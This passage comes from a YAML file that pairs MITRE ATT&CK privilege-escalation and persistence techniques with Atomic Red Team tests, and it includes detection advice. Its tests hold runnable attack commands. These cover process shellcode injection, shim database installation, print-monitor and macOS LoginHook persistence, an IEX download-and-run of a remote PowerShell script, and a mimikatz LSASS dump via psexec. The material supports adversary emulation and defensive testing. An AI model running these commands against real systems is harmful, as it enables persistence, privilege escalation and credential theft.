AWS EKS IAM Roles for Service Accounts)(Citation: Microsoft Azure Kubernetes Service Service Accounts) In these cases, this technique may be used in conjunction with [Additional Cloud Roles](https://attack.mitre.org/techniques/T1098/003)." kill_chain_phases: - kill_chain_name: mitre-attack phase_name: persistence - kill_chain_name: mitre-attack phase_name: privilege-escalation x_mitre_deprecated: false x_mitre_detection: '' x_mitre_domains: - enterprise-attack x_mitre_is_subtechnique: true x_mitre_platforms: - Containers x_mitre_version: '1.0' x_mitre_data_sources: - 'User Account: User Account Modification' type: attack-pattern id: attack-pattern--35d30338-5bfa-41b0-a170-ec06dfd75f64 created: '2023-07-14T14:01:50.806Z' created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 revoked: false external_references: - source_name: mitre-attack url: https://attack.mitre.org/techniques/T1098/006 external_id: T1098.006 - source_name: AWS EKS IAM Roles for Service Accounts description: Amazon Web Services. (n.d.). IAM roles for service accounts. Retrieved July 14, 2023. url: https://docs.aws.amazon.com/eks/latest/userguide/iam-roles-for-service-accounts.html - source_name: Google Cloud Kubernetes IAM description: Google Cloud. (n.d.). Create IAM policies. Retrieved July 14, 2023. url: https://cloud.google.com/kubernetes-engine/docs/how-to/iam - source_name: Kuberentes ABAC description: Kuberenets. (n.d.). Using ABAC Authorization. Retrieved July 14, 2023. url: https://kubernetes.io/docs/reference/access-authn-authz/abac/ - source_name: Kubernetes RBAC description: Kubernetes. (n.d.). Role Based Access Control Good Practices. Retrieved March 8, 2023. url: https://kubernetes.io/docs/concepts/security/rbac-good-practices/ - source_name: Aquasec Kubernetes Attack 2023 description: Michael Katchinskiy, Assaf Morag. (2023, April 21). First-Ever Attack Leveraging Kubernetes RBAC to Backdoor Clusters. Retrieved July 14, 2023. url: https://blog.aquasec.com/leveraging-kubernetes-rbac-to-backdoor-clusters - source_name: Microsoft Azure Kubernetes Service Service Accounts description: Microsoft Azure. (2023, April 28). Access and identity options for Azure Kubernetes Service (AKS). Retrieved July 14, 2023. url: https://learn.microsoft.com/en-us/azure/aks/concepts-identity object_marking_refs: - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168 x_mitre_attack_spec_version: 3.2.0 x_mitre_modified_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 spec_version: '2.1' atomic_tests: [] T1053: technique: modified: '2024-03-01T15:29:46.832Z' name: Scheduled Task/Job description: |- Adversaries may abuse task scheduling functionality to facilitate initial or recurring execution of malicious code. Utilities exist within all major operating systems to schedule programs or scripts to be executed at a specified date and time. A task can also be scheduled on a remote system, provided the proper authentication is met (ex: RPC and file and printer sharing in Windows environments). Scheduling a task on a remote system typically may require being a member of an admin or otherwise privileged group on the remote system.(Citation: TechNet Task Scheduler Security) Adversaries may use task scheduling to execute programs at system startup or on a scheduled basis for persistence. These mechanisms can also be abused to run a process under the context of a specified account (such as one with elevated permissions/privileges). Similar to [System Binary Proxy Execution](https://attack.mitre.org/techniques/T1218), adversaries have also abused task scheduling to potentially mask one-time execution under a trusted system process.(Citation: ProofPoint Serpent) kill_chain_phases: - kill_chain_name: mitre-attack phase_name: execution - kill_chain_name: mitre-attack phase_name: persistence - kill_chain_name: mitre-attack phase_name: privilege-escalation x_mitre_contributors: - Prashant Verma, Paladion - Leo Loobeek, @leoloobeek - Travis Smith, Tripwire - Alain Homewood, Insomnia Security - Andrew Northern, @ex_raritas - Bryan Campbell, @bry_campbell - Zachary Abzug, @ZackDoesML - Selena Larson, @selenalarson x_mitre_deprecated: false x_mitre_detection: "Monitor scheduled task creation from common utilities using command-line invocation. Legitimate scheduled tasks may be created during installation of new software or through system administration functions. Look for changes to tasks that do not correlate with known software, patch cycles, etc. \n\nSuspicious program execution through scheduled tasks may show up as outlier processes that have not been seen before when compared against historical data. Data and events should not be viewed in isolation, but as part of a chain of behavior that could lead to other activities, such as network connections made for Command and Control, learning details about the environment through Discovery, and Lateral Movement." x_mitre_domains: - enterprise-attack x_mitre_is_subtechnique: false x_mitre_platforms: - Windows - Linux - macOS - Containers x_mitre_version: '2.3' x_mitre_data_sources: - 'Scheduled Job: Scheduled Job Creation' - 'File: File Creation' - 'Process: Process Creation' - 'Container: Container Creation' - 'Command: Command Execution' - 'File: File Modification' x_mitre_effective_permissions: - SYSTEM - Administrator - User x_mitre_permissions_required: - Administrator - SYSTEM - User x_mitre_remote_support: true type: attack-pattern id: attack-pattern--35dd844a-b219-4e2b-a6bb-efa9a75995a9 created: '2017-05-31T21:30:46.977Z' created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 revoked: false external_references: - source_name: mitre-attack url: https://attack.mitre.org/techniques/T1053 external_id: T1053 - source_name: ProofPoint Serpent description: Campbell, B. et al. (2022, March 21). Serpent, No Swiping! New Backdoor Targets French Entities with Unique Attack Chain. Retrieved April 11, 2022. url: https://www.proofpoint.com/us/blog/threat-insight/serpent-no-swiping-new-backdoor-targets-french-entities-unique-attack-chain - source_name: TechNet Task Scheduler Security description: Microsoft. (2005, January 21). Task Scheduler and security. Retrieved June 8, 2016. url: https://technet.microsoft.com/en-us/library/cc785125.aspx object_marking_refs: - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168 x_mitre_attack_spec_version: 3.2.0 x_mitre_modified_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 spec_version: '2.1' atomic_tests: [] T1055.003: technique: x_mitre_platforms: - Windows x_mitre_domains: - enterprise-attack object_marking_refs: - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168 id: attack-pattern--41d9846c-f6af-4302-a654-24bba2729bc6 type: attack-pattern created: '2020-01-14T01:28:32.166Z' created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 external_references: - source_name: mitre-attack external_id: T1055.003 url: https://attack.mitre.org/techniques/T1055/003 - url: https://www.endgame.com/blog/technical-blog/ten-process-injection-techniques-technical-survey-common-and-trending-process description: 'Hosseini, A. (2017, July 18). Ten Process Injection Techniques: A Technical Survey Of Common And Trending Process Injection Techniques. Retrieved December 7, 2017.' source_name: Elastic Process Injection July 2017 modified: '2022-04-25T14:00:00.188Z' name: Thread Execution Hijacking description: "Adversaries may inject malicious code into hijacked processes in order to evade process-based defenses as well as possibly elevate privileges. Thread Execution Hijacking is a method of executing arbitrary code in the address space of a separate live process. \n\nThread Execution Hijacking is commonly performed by suspending an existing process then unmapping/hollowing its memory, which can then be replaced with malicious code or the path to a DLL. A handle to an existing victim process is first created with native Windows API calls such as OpenThread. At this point the process can be suspended then written to, realigned to the injected code, and resumed via SuspendThread , VirtualAllocEx, WriteProcessMemory, SetThreadContext, then ResumeThread respectively.(Citation: Elastic Process Injection July 2017)\n\nThis is very similar to [Process Hollowing](https://attack.mitre.org/techniques/T1055/012) but targets an existing process rather than creating a process in a suspended state. \n\nRunning code in the context of another process may allow access to the process's memory, system/network resources, and possibly elevated privileges. Execution via Thread Execution Hijacking may also evade detection from security products since the execution is masked under a legitimate process. " kill_chain_phases: - kill_chain_name: mitre-attack phase_name: defense-evasion - kill_chain_name: mitre-attack phase_name: privilege-escalation x_mitre_detection: "Monitoring Windows API calls indicative of the various types of code injection may generate a significant amount of data and may not be directly useful for defense unless collected under specific circumstances for known bad sequences of calls, since benign use of API functions may be common and difficult to distinguish from malicious behavior. Windows API calls such as CreateRemoteThread, SuspendThread/SetThreadContext/ResumeThread, and those that can be used to modify memory within another process, such as VirtualAllocEx/WriteProcessMemory, may be used for this technique.(Citation: Elastic Process Injection July 2017)\n\nAnalyze process behavior to determine if a process is performing actions it usually does not, such as opening network connections, reading files, or other suspicious actions that could relate to post-compromise behavior. " x_mitre_is_subtechnique: true x_mitre_version: '1.1' x_mitre_modified_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 x_mitre_data_sources: - 'Process: OS API Execution' - 'Process: Process Modification' - 'Process: Process Access' x_mitre_defense_bypassed: - Application control - Anti-virus x_mitre_permissions_required: - User spec_version: '2.1' x_mitre_attack_spec_version: 2.1.0 identifier: T1055.003 atomic_tests: - name: Thread Execution Hijacking auto_generated_guid: 578025d5-faa9-4f6d-8390-aae527d503e1 description: 'This test injects a MessageBox shellcode generated by msfvenom in Notepad.exe using Thread Execution Hijacking. When successful, a message box will appear with the "Atomic Red Team" caption after one or two seconds. ' supported_platforms: - windows executor: command: |- $notepad = Start-Process notepad -passthru Start-Process "$PathToAtomicsFolder\T1055.003\bin\InjectContext.exe" Start-Sleep -Seconds 5 Stop-Process $notepad.id name: powershell T1546.011: technique: x_mitre_platforms: - Windows x_mitre_domains: - enterprise-attack object_marking_refs: - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168 id: attack-pattern--42fe883a-21ea-4cfb-b94a-78b6476dcc83 type: attack-pattern created: '2020-01-24T14:56:24.231Z' created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 external_references: - source_name: mitre-attack external_id: T1546.011 url: https://attack.mitre.org/techniques/T1546/011 - url: https://www.endgame.com/blog/technical-blog/ten-process-injection-techniques-technical-survey-common-and-trending-process description: 'Hosseini, A. (2017, July 18). Ten Process Injection Techniques: A Technical Survey Of Common And Trending Process Injection Techniques. Retrieved December 7, 2017.' source_name: Elastic Process Injection July 2017 - source_name: FireEye Application Shimming url: http://files.brucon.org/2015/Tomczak_and_Ballenthin_Shims_for_the_Win.pdf description: Ballenthin, W., Tomczak, J.. (2015). The Real Shim Shary. Retrieved May 4, 2020. - url: https://www.blackhat.com/docs/eu-15/materials/eu-15-Pierce-Defending-Against-Malicious-Application-Compatibility-Shims-wp.pdf description: Pierce, Sean. (2015, November). Defending Against Malicious Application Compatibility Shims. Retrieved June 22, 2017. source_name: Black Hat 2015 App Shim modified: '2022-04-25T14:00:00.188Z' name: 'Event Triggered Execution: Application Shimming' description: "Adversaries may establish persistence and/or elevate privileges by executing malicious content triggered by application shims. The Microsoft Windows Application Compatibility Infrastructure/Framework (Application Shim) was created to allow for backward compatibility of software as the operating system codebase changes over time. For example, the application shimming feature allows developers to apply fixes to applications (without rewriting code) that were created for Windows XP so that it will work with Windows 10. (Citation: Elastic Process Injection July 2017)\n\nWithin the framework, shims are created to act as a buffer between the program (or more specifically, the Import Address Table) and the Windows OS. When a program is executed, the shim cache is referenced to determine if the program requires the use of the shim database (.sdb). If so, the shim database uses hooking to redirect the code as necessary in order to communicate with the OS. \n\nA list of all shims currently installed by the default Windows installer (sdbinst.exe) is kept in:\n\n* %WINDIR%\\AppPatch\\sysmain.sdb and\n* hklm\\software\\microsoft\\windows nt\\currentversion\\appcompatflags\\installedsdb\n\nCustom databases are stored in:\n\n* %WINDIR%\\AppPatch\\custom & %WINDIR%\\AppPatch\\AppPatch64\\Custom and\n* hklm\\software\\microsoft\\windows nt\\currentversion\\appcompatflags\\custom\n\nTo keep shims secure, Windows designed them to run in user mode so they cannot modify the kernel and you must have administrator privileges to install a shim. However, certain shims can be used to [Bypass User Account Control](https://attack.mitre.org/techniques/T1548/002) (UAC and RedirectEXE), inject DLLs into processes (InjectDLL), disable Data Execution Prevention (DisableNX) and Structure Exception Handling (DisableSEH), and intercept memory addresses (GetProcAddress).\n\nUtilizing these shims may allow an adversary to perform several malicious acts such as elevate privileges, install backdoors, disable defenses like Windows Defender, etc. (Citation: FireEye Application Shimming) Shims can also be abused to establish persistence by continuously being invoked by affected programs." kill_chain_phases: - kill_chain_name: mitre-attack phase_name: privilege-escalation - kill_chain_name: mitre-attack phase_name: persistence x_mitre_detection: |- There are several public tools available that will detect shims that are currently available (Citation: Black Hat 2015 App Shim): * Shim-Process-Scanner - checks memory of every running process for any shim flags * Shim-Detector-Lite - detects installation of custom shim databases * Shim-Guard - monitors registry for any shim installations * ShimScanner - forensic tool to find active shims in memory * ShimCacheMem - Volatility plug-in that pulls shim cache from memory (note: shims are only cached after reboot) Monitor process execution for sdbinst.exe and command-line arguments for potential indications of application shim abuse. x_mitre_is_subtechnique: true x_mitre_version: '1.0' x_mitre_modified_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 x_mitre_data_sources: - 'File: File Modification' - 'Module: Module Load' - 'Windows Registry: Windows Registry Key Modification' - 'Command: Command Execution' - 'Process: Process Creation' x_mitre_permissions_required: - Administrator spec_version: '2.1' x_mitre_attack_spec_version: 2.1.0 identifier: T1546.011 atomic_tests: - name: Application Shim Installation auto_generated_guid: 9ab27e22-ee62-4211-962b-d36d9a0e6a18 description: "Install a shim database. This technique is used for privilege escalation and bypassing user access control.\nUpon execution, \"Installation of AtomicShim complete.\" will be displayed. To verify the shim behavior, run \nthe AtomicTest.exe from the \\\\T1546.011\\\\bin directory. You should see a message box appear\nwith \"Atomic Shim DLL Test!\" as defined in the AtomicTest.dll. To better understand what is happening, review\nthe source code files is the \\\\T1546.011\\\\src directory.\n" supported_platforms: - windows input_arguments: file_path: description: Path to the shim database file type: string default: PathToAtomicsFolder\T1546.011\bin\AtomicShimx86.sdb dependency_executor_name: powershell dependencies: - description: 'Shim database file must exist on disk at specified location (#{file_path}) ' prereq_command: 'if (Test-Path "#{file_path}") {exit 0} else {exit 1} ' get_prereq_command: | [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12 New-Item -Type Directory (split-path "#{file_path}") -ErrorAction ignore | Out-Null Invoke-WebRequest "https://github.com/redcanaryco/atomic-red-team/raw/master/atomics/T1546.011/bin/AtomicShimx86.sdb" -OutFile "#{file_path}" - description: 'AtomicTest.dll must exist at c:\Tools\AtomicTest.dll ' prereq_command: 'if (Test-Path c:\Tools\AtomicTest.dll) {exit 0} else {exit 1} ' get_prereq_command: | New-Item -Type Directory (split-path c:\Tools\AtomicTest.dll) -ErrorAction ignore | Out-Null Invoke-WebRequest "https://github.com/redcanaryco/atomic-red-team/raw/master/atomics/T1546.011/bin/AtomicTest.dll" -OutFile c:\Tools\AtomicTest.dll executor: command: 'sdbinst.exe "#{file_path}" ' cleanup_command: 'sdbinst.exe -u "#{file_path}" >nul 2>&1 ' name: command_prompt elevation_required: true - name: New shim database files created in the default shim database directory auto_generated_guid: aefd6866-d753-431f-a7a4-215ca7e3f13d description: | Upon execution, check the "C:\Windows\apppatch\Custom\" folder for the new shim database https://www.fireeye.com/blog/threat-research/2017/05/fin7-shim-databases-persistence.html supported_platforms: - windows executor: command: | Copy-Item "$PathToAtomicsFolder\T1546.011\bin\T1546.011CompatDatabase.sdb" C:\Windows\apppatch\Custom\T1546.011CompatDatabase.sdb Copy-Item "$PathToAtomicsFolder\T1546.011\bin\T1546.011CompatDatabase.sdb" C:\Windows\apppatch\Custom\Custom64\T1546.011CompatDatabase.sdb cleanup_command: | Remove-Item C:\Windows\apppatch\Custom\T1546.011CompatDatabase.sdb -ErrorAction Ignore Remove-Item C:\Windows\apppatch\Custom\Custom64\T1546.011CompatDatabase.sdb -ErrorAction Ignore name: powershell elevation_required: true - name: Registry key creation and/or modification events for SDB auto_generated_guid: 9b6a06f9-ab5e-4e8d-8289-1df4289db02f description: | Create registry keys in locations where fin7 typically places SDB patches. Upon execution, output will be displayed describing the registry keys that were created. These keys can also be viewed using the Registry Editor. https://www.fireeye.com/blog/threat-research/2017/05/fin7-shim-databases-persistence.html supported_platforms: - windows executor: command: | New-ItemProperty -Path HKLM:"\SOFTWARE\Microsoft\Windows NT\CurrentVersion\AppCompatFlags\Custom" -Name "AtomicRedTeamT1546.011" -Value "AtomicRedTeamT1546.011" New-ItemProperty -Path HKLM:"\SOFTWARE\Microsoft\Windows NT\CurrentVersion\AppCompatFlags\InstalledSDB" -Name "AtomicRedTeamT1546.011" -Value "AtomicRedTeamT1546.011" cleanup_command: | Remove-ItemProperty -Path HKLM:"\SOFTWARE\Microsoft\Windows NT\CurrentVersion\AppCompatFlags\Custom" -Name "AtomicRedTeamT1546.011" -ErrorAction Ignore Remove-ItemProperty -Path HKLM:"\SOFTWARE\Microsoft\Windows NT\CurrentVersion\AppCompatFlags\InstalledSDB" -Name "AtomicRedTeamT1546.011" -ErrorAction Ignore name: powershell elevation_required: true T1547.010: technique: modified: '2024-04-12T02:49:39.980Z' name: 'Boot or Logon Autostart Execution: Port Monitors' description: "Adversaries may use port monitors to run an adversary supplied DLL during system boot for persistence or privilege escalation. A port monitor can be set through the AddMonitor API call to set a DLL to be loaded at startup.(Citation: AddMonitor) This DLL can be located in C:\\Windows\\System32 and will be loaded and run by the print spooler service, `spoolsv.exe`, under SYSTEM level permissions on boot.(Citation: Bloxham) \n\nAlternatively, an arbitrary DLL can be loaded if permissions allow writing a fully-qualified pathname for that DLL to the `Driver` value of an existing or new arbitrarily named subkey of HKLM\\SYSTEM\\CurrentControlSet\\Control\\Print\\Monitors. The Registry key contains entries for the following:\n\n* Local Port\n* Standard TCP/IP Port\n* USB Monitor\n* WSD Port\n" kill_chain_phases: - kill_chain_name: mitre-attack phase_name: persistence - kill_chain_name: mitre-attack phase_name: privilege-escalation x_mitre_contributors: - Stefan Kanthak - Travis Smith, Tripwire - Harun Küßner x_mitre_deprecated: false x_mitre_detection: "Monitor process API calls to AddMonitor.(Citation: AddMonitor) Monitor DLLs that are loaded by spoolsv.exe for DLLs that are abnormal. New DLLs written to the System32 directory that do not correlate with known good software or patching may be suspicious. \n\nMonitor Registry writes to HKLM\\SYSTEM\\CurrentControlSet\\Control\\Print\\Monitors, paying particular attention to changes in the \"Driver\" subkey. Run the Autoruns utility, which checks for this Registry key as a persistence mechanism.(Citation: TechNet Autoruns)" x_mitre_domains: - enterprise-attack x_mitre_is_subtechnique: true x_mitre_platforms: - Windows x_mitre_version: '1.2' x_mitre_data_sources: - 'Windows Registry: Windows Registry Key Modification' - 'File: File Creation' - 'Module: Module Load' - 'Process: OS API Execution' x_mitre_effective_permissions: - SYSTEM x_mitre_permissions_required: - SYSTEM - Administrator type: attack-pattern id: attack-pattern--43881e51-ac74-445b-b4c6-f9f9e9bf23fe created: '2020-01-24T19:46:27.750Z' created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 revoked: false external_references: - source_name: mitre-attack url: https://attack.mitre.org/techniques/T1547/010 external_id: T1547.010 - source_name: Bloxham description: Bloxham, B. (n.d.). Getting Windows to Play with Itself [PowerPoint slides]. Retrieved November 12, 2014. url: https://www.defcon.org/images/defcon-22/dc-22-presentations/Bloxham/DEFCON-22-Brady-Bloxham-Windows-API-Abuse-UPDATED.pdf - source_name: AddMonitor description: Microsoft. (n.d.). AddMonitor function. Retrieved November 12, 2014. url: http://msdn.microsoft.com/en-us/library/dd183341 - source_name: TechNet Autoruns description: Russinovich, M. (2016, January 4). Autoruns for Windows v13.51. Retrieved June 6, 2016. url: https://technet.microsoft.com/en-us/sysinternals/bb963902 object_marking_refs: - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168 x_mitre_attack_spec_version: 3.2.0 x_mitre_modified_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 spec_version: '2.1' identifier: T1547.010 atomic_tests: - name: Add Port Monitor persistence in Registry auto_generated_guid: d34ef297-f178-4462-871e-9ce618d44e50 description: Add key-value pair to a Windows Port Monitor registry. On the subsequent reboot DLL will be execute under spoolsv with NT AUTHORITY/SYSTEM privilege. supported_platforms: - windows input_arguments: monitor_dll: description: Addition to port monitor registry key. Normally refers to a DLL name in C:\Windows\System32 but an arbitrary DLL can be specified with the absolute path. type: path default: "$PathToAtomicsFolder\\T1547.010\\bin\\PortMonitor.dll" executor: command: 'reg add "hklm\system\currentcontrolset\control\print\monitors\AtomicRedTeam" /v "Driver" /d "#{monitor_dll}" /t REG_SZ /f ' cleanup_command: 'reg delete "hklm\system\currentcontrolset\control\print\monitors\AtomicRedTeam" /f >nul 2>&1 ' name: command_prompt elevation_required: true T1037.002: technique: x_mitre_platforms: - macOS x_mitre_domains: - enterprise-attack object_marking_refs: - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168 type: attack-pattern id: attack-pattern--43ba2b05-cf72-4b6c-8243-03a4aba41ee0 created: '2020-01-10T16:01:15.995Z' x_mitre_version: '2.0' external_references: - source_name: mitre-attack external_id: T1037.002 url: https://attack.mitre.org/techniques/T1037/002 - source_name: Login Scripts Apple Dev url: https://developer.apple.com/library/archive/documentation/MacOSX/Conceptual/BPSystemStartup/Chapters/CustomLogin.html description: Apple. (2016, September 13). Customizing Login and Logout. Retrieved April 1, 2022. - source_name: LoginWindowScripts Apple Dev url: https://developer.apple.com/documentation/devicemanagement/loginwindowscripts description: Apple. (n.d.). LoginWindowScripts. Retrieved April 1, 2022. - source_name: Wardle Persistence Chapter url: https://taomm.org/PDFs/vol1/CH%200x02%20Persistence.pdf description: 'Patrick Wardle. (n.d.). Chapter 0x2: Persistence. Retrieved April 13, 2022.' - source_name: S1 macOs Persistence url: https://www.sentinelone.com/blog/how-malware-persists-on-macos/ description: Stokes, P. (2019, July 17). How Malware Persists on macOS. Retrieved March 27, 2020. x_mitre_deprecated: false revoked: false description: "Adversaries may use a Login Hook to establish persistence executed upon user logon. A login hook is a plist file that points to a specific script to execute with root privileges upon user logon. The plist file is located in the /Library/Preferences/com.apple.loginwindow.plist file and can be modified using the defaults command-line utility. This behavior is the same for logout hooks where a script can be executed upon user logout. All hooks require administrator permissions to modify or create hooks.(Citation: Login Scripts Apple Dev)(Citation: LoginWindowScripts Apple Dev) \n\nAdversaries can add or insert a path to a malicious script in the com.apple.loginwindow.plist file, using the LoginHook or LogoutHook key-value pair. The malicious script is executed upon the next user login. If a login hook already exists, adversaries can add additional commands to an existing login hook. There can be only one login and logout hook on a system at a time.(Citation: S1 macOs Persistence)(Citation: Wardle Persistence Chapter)\n\n**Note:** Login hooks were deprecated in 10.11 version of macOS in favor of [Launch Daemon](https://attack.mitre.org/techniques/T1543/004) and [Launch Agent](https://attack.mitre.org/techniques/T1543/001) " modified: '2022-05-11T14:00:00.188Z' created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 name: 'Boot or Logon Initialization Scripts: Logon Script (Mac)' x_mitre_detection: Monitor logon scripts for unusual access by abnormal users or at abnormal times. Look for files added or modified by unusual accounts outside of normal administration duties. Monitor running process for actions that could be indicative of abnormal programs or executables running upon logon. kill_chain_phases: - kill_chain_name: mitre-attack phase_name: persistence - kill_chain_name: mitre-attack phase_name: privilege-escalation x_mitre_is_subtechnique: true x_mitre_data_sources: - 'File: File Creation' - 'File: File Modification' - 'Process: Process Creation' - 'Command: Command Execution' x_mitre_attack_spec_version: 2.1.0 x_mitre_modified_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 spec_version: '2.1' identifier: T1037.002 atomic_tests: - name: Logon Scripts - Mac auto_generated_guid: f047c7de-a2d9-406e-a62b-12a09d9516f4 description: 'Mac logon script ' supported_platforms: - macos executor: steps: "1. Create the required plist file\n\n sudo touch /private/var/root/Library/Preferences/com.apple.loginwindow.plist\n\n2. Populate the plist with the location of your shell script\n\n sudo defaults write com.apple.loginwindow LoginHook /Library/Scripts/AtomicRedTeam.sh\n\n3. Create the required plist file in the target user's Preferences directory\n\n\t \ touch /Users/$USER/Library/Preferences/com.apple.loginwindow.plist\n\n4. Populate the plist with the location of your shell script\n\n\t defaults write com.apple.loginwindow LoginHook /Library/Scripts/AtomicRedTeam.sh\n" name: manual T1055: technique: modified: '2023-05-09T14:00:00.188Z' name: Process Injection description: "Adversaries may inject code into processes in order to evade process-based defenses as well as possibly elevate privileges. Process injection is a method of executing arbitrary code in the address space of a separate live process. Running code in the context of another process may allow access to the process's memory, system/network resources, and possibly elevated privileges. Execution via process injection may also evade detection from security products since the execution is masked under a legitimate process. \n\nThere are many different ways to inject code into a process, many of which abuse legitimate functionalities. These implementations exist for every major OS but are typically platform specific. \n\nMore sophisticated samples may perform multiple process injections to segment modules and further evade detection, utilizing named pipes or other inter-process communication (IPC) mechanisms as a communication channel. " kill_chain_phases: - kill_chain_name: mitre-attack phase_name: defense-evasion - kill_chain_name: mitre-attack phase_name: privilege-escalation x_mitre_attack_spec_version: 2.1.0 x_mitre_contributors: - Anastasios Pingios - Christiaan Beek, @ChristiaanBeek - Ryan Becwar x_mitre_deprecated: false x_mitre_detection: "Monitoring Windows API calls indicative of the various types of code injection may generate a significant amount of data and may not be directly useful for defense unless collected under specific circumstances for known bad sequences of calls, since benign use of API functions may be common and difficult to distinguish from malicious behavior. Windows API calls such as CreateRemoteThread, SuspendThread/SetThreadContext/ResumeThread, QueueUserAPC/NtQueueApcThread, and those that can be used to modify memory within another process, such as VirtualAllocEx/WriteProcessMemory, may be used for this technique.(Citation: Elastic Process Injection July 2017) \n\nMonitor DLL/PE file events, specifically creation of these binary files as well as the loading of DLLs into processes. Look for DLLs that are not recognized or not normally loaded into a process. \n\nMonitoring for Linux specific calls such as the ptrace system call should not generate large amounts of data due to their specialized nature, and can be a very effective method to detect some of the common process injection methods.(Citation: ArtOfMemoryForensics) \ (Citation: GNU Acct) (Citation: RHEL auditd) (Citation: Chokepoint preload rootkits) \n\nMonitor for named pipe creation and connection events (Event IDs 17 and 18) for possible indicators of infected processes with external modules.(Citation: Microsoft Sysmon v6 May 2017) \n\nAnalyze process behavior to determine if a process is performing actions it usually does not, such as opening network connections, reading files, or other suspicious actions that could relate to post-compromise behavior. " x_mitre_domains: - enterprise-attack x_mitre_is_subtechnique: false x_mitre_modified_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 x_mitre_platforms: - Linux - macOS - Windows x_mitre_version: '1.3' x_mitre_data_sources: - 'Process: Process Access' - 'Process: Process Modification' - 'File: File Modification' - 'Process: Process Metadata' - 'File: File Metadata' - 'Process: OS API Execution' - 'Module: Module Load' x_mitre_defense_bypassed: - Application control - Anti-virus type: attack-pattern id: attack-pattern--43e7dc91-05b2-474c-b9ac-2ed4fe101f4d created: '2017-05-31T21:30:47.843Z' created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 revoked: false external_references: - source_name: mitre-attack url: https://attack.mitre.org/techniques/T1055 external_id: T1055 - source_name: GNU Acct description: GNU. (2010, February 5). The GNU Accounting Utilities. Retrieved December 20, 2017. url: https://www.gnu.org/software/acct/ - source_name: Elastic Process Injection July 2017 description: 'Hosseini, A. (2017, July 18). Ten Process Injection Techniques: A Technical Survey Of Common And Trending Process Injection Techniques. Retrieved December 7, 2017.' url: https://www.endgame.com/blog/technical-blog/ten-process-injection-techniques-technical-survey-common-and-trending-process - source_name: RHEL auditd description: Jahoda, M. et al.. (2017, March 14). redhat Security Guide - Chapter 7 - System Auditing. Retrieved December 20, 2017. url: https://access.redhat.com/documentation/en-us/red_hat_enterprise_linux/6/html/security_guide/chap-system_auditing - source_name: ArtOfMemoryForensics description: 'Ligh, M.H. et al.. (2014, July). The Art of Memory Forensics: Detecting Malware and Threats in Windows, Linux, and Mac Memory. Retrieved December 20, 2017.' - source_name: Microsoft Sysmon v6 May 2017 description: Russinovich, M. & Garnier, T. (2017, May 22). Sysmon v6.20. Retrieved December 13, 2017. url: https://docs.microsoft.com/sysinternals/downloads/sysmon - source_name: Chokepoint preload rootkits description: stderr. (2014, February 14). Detecting Userland Preload Rootkits. Retrieved December 20, 2017. url: http://www.chokepoint.net/2014/02/detecting-userland-preload-rootkits.html object_marking_refs: - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168 spec_version: '2.1' identifier: T1055 atomic_tests: - name: Shellcode execution via VBA auto_generated_guid: 1c91e740-1729-4329-b779-feba6e71d048 description: | This module injects shellcode into a newly created process and executes. By default the shellcode is created, with Metasploit, for use on x86-64 Windows 10 machines. Note: Due to the way the VBA code handles memory/pointers/injection, a 64bit installation of Microsoft Office is required. supported_platforms: - windows input_arguments: txt_path: description: Path to file containing VBA macro to run type: path default: PathToAtomicsFolder\T1055\src\x64\T1055-macrocode.txt dependency_executor_name: powershell dependencies: - description: 'The 64-bit version of Microsoft Office must be installed ' prereq_command: | try { $wdApp = New-Object -COMObject "Word.Application" $path = $wdApp.Path Stop-Process -Name "winword" if ($path.contains("(x86)")) { exit 1 } else { exit 0 } } catch { exit 1 } get_prereq_command: 'Write-Host "You will need to install Microsoft Word (64-bit) manually to meet this requirement" ' - description: '"#{txt_path}" must exist on disk at specified location ' prereq_command: 'if (Test-Path "#{txt_path}") {exit 0} else {exit 1} ' get_prereq_command: | New-Item -Type Directory (split-path "#{txt_path}") -ErrorAction ignore | Out-Null Invoke-WebRequest "https://github.com/redcanaryco/atomic-red-team/raw/master/atomics/T1055/src/x64/T1055-macrocode.txt" -OutFile "#{txt_path}" -UseBasicParsing executor: command: | [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12 IEX (iwr "https://raw.githubusercontent.com/redcanaryco/atomic-red-team/master/atomics/T1204.002/src/Invoke-MalDoc.ps1" -UseBasicParsing) Invoke-Maldoc -macroFile "#{txt_path}" -officeProduct "Word" -sub "Execute" name: powershell - name: Remote Process Injection in LSASS via mimikatz auto_generated_guid: 3203ad24-168e-4bec-be36-f79b13ef8a83 description: | Use mimikatz to remotely (via psexec) dump LSASS process content for RID 500 via code injection (new thread). Especially useful against domain controllers in Active Directory environments. It must be executed in the context of a user who is privileged on remote `machine`. The effect of `/inject` is explained in supported_platforms: - windows input_arguments: machine: description: machine to target (via psexec) type: string default: DC1 mimikatz_path: description: Mimikatz windows executable type: path default: "%tmp%\\mimikatz\\x64\\mimikatz.exe" psexec_path: description: Path to PsExec type: string default: PathToAtomicsFolder\..\ExternalPayloads\PsExec.exe dependency_executor_name: powershell dependencies: - description: 'Mimikatz executor must exist on disk and at specified location (#{mimikatz_path}) ' prereq_command: | $mimikatz_path = cmd /c echo #{mimikatz_path} if (Test-Path $mimikatz_path) {exit 0} else {exit 1} get_prereq_command: 